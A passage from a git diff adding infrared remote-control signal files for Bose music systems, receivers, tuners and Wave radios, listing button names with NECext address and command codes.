E5 00 00 +command: 5C 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 5D 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA E5 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir new file mode 100644 index 000000000..1658fbdaf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 03 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0B 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0C 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0D 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0E 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0F 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 10 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 18 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 18 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1D 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1F 00 00 00 +# +name: RANDOM_DISC +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4A 00 00 00 +# +name: STEREO_MODE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4B 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4C 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4D 00 00 00 +# +name: 5_SPEAKER_MODE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4E 00 00 00 +# +name: 3_SPEAKER_MODE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 52 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 53 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 53 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 54 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 56 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 57 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 57 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 58 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 58 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5C 00 00 00 +# +name: RANDOM_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5C 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5D 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir new file mode 100644 index 000000000..93212c458 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir new file mode 100644 index 000000000..085f97dac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir @@ -0,0 +1,806 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 01 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 02 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 03 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 03 00 00 00 +# +name: INPUT_-_AM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 05 00 00 00 +# +name: INP_-_AMFM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 06 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 06 00 00 00 +# +name: IPOD +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 07 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 08 00 00 00 +# +name: FRONT_HDMI +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 09 00 00 00 +# +name: FRONT_AV +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0A 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0D 00 00 00 +# +name: INP_-_TV +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0E 00 00 00 +# +name: INP_-_AUX +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0F 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 12 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 13 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 14 00 00 00 +# +name: INP_-_CBL +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 15 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 15 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 15 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 15 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 15 00 00 00 +# +name: CHAP/TRK_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 18 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 18 00 00 00 +# +name: CHAP/TRK_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 19 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 19 00 00 00 +# +name: TRANS_-_STOP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 20 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 20 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 25 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 25 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 28 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 30 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 30 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 49 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 4C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 4C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 4D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 52 00 00 00 +# +name: INP_-_CDDVD +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 53 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 53 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 53 00 00 00 +# +name: TRANS_-_PLAY +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 55 00 00 00 +# +name: TRANS_-_PAUSE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 56 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 56 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 56 00 00 00 +# +name: TRANS_-_SEEK_<< +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 57 00 00 00 +# +name: SEEK_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 57 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 57 00 00 00 +# +name: TRANS_-_SEEK_>> +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 58 00 00 00 +# +name: SEEK_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 58 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 58 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 58 00 00 00 +# +name: INPUT_-_FM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 59 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 59 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 5A 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 5C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 5D 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 60 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 64 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 67 00 00 00 +# +name: PG_DN +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 68 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 68 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 68 00 00 00 +# +name: PG_UP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 69 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 69 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 70 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 80 00 00 00 +# +name: MORE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 80 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 8C 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 8C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 90 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 90 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 9D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: A0 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: A0 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: B0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: B3 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: C0 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: C0 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: CC 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: CC 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: D0 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: D3 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: DC 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: E0 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: E0 00 00 00 +# +name: NET_1 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: F5 00 00 00 +# +name: NET_2 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: F6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/System/186,85.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/System/186,85.ir new file mode 100644 index 000000000..de227c554 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/System/186,85.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 03 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0B 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 18 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1A 00 00 00 +# +name: 2_SP +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4B 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4C 00 00 00 +# +name: 5_SP +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4E 00 00 00 +# +name: 3_SP +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 56 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5C 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5D 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir new file mode 100644 index 000000000..afb6e839b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 01 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 02 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 03 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0B 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0F 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1A 00 00 00 +# +name: SPEAKER_STEREO +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4B 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4D 00 00 00 +# +name: SPEAKER_SURROUND +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4E 00 00 00 +# +name: SPEAKER_STEREO/CNTR +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 53 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 56 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5C 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir new file mode 100644 index 000000000..77b24ac69 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 01 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 02 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 03 00 00 00 +# +name: STATION +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 04 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 05 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 07 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 08 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 09 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0C 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0F 00 00 00 +# +name: TUNE+ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 10 00 00 00 +# +name: TUNE- +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 11 00 00 00 +# +name: ALARM/TIME +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 12 00 00 00 +# +name: ALARM/WAKEUPTO +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 13 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 1E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir new file mode 100644 index 000000000..97a26a9e0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: Alarm_Wake_To +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: Alarm_Time +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: Tune_MP3_Up +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: Time_Plus +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: Alarm_On_Off +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: X_KEY_EJECT_CD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: Tune_MP3_Down +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: FM_AM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: Time_Minus +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 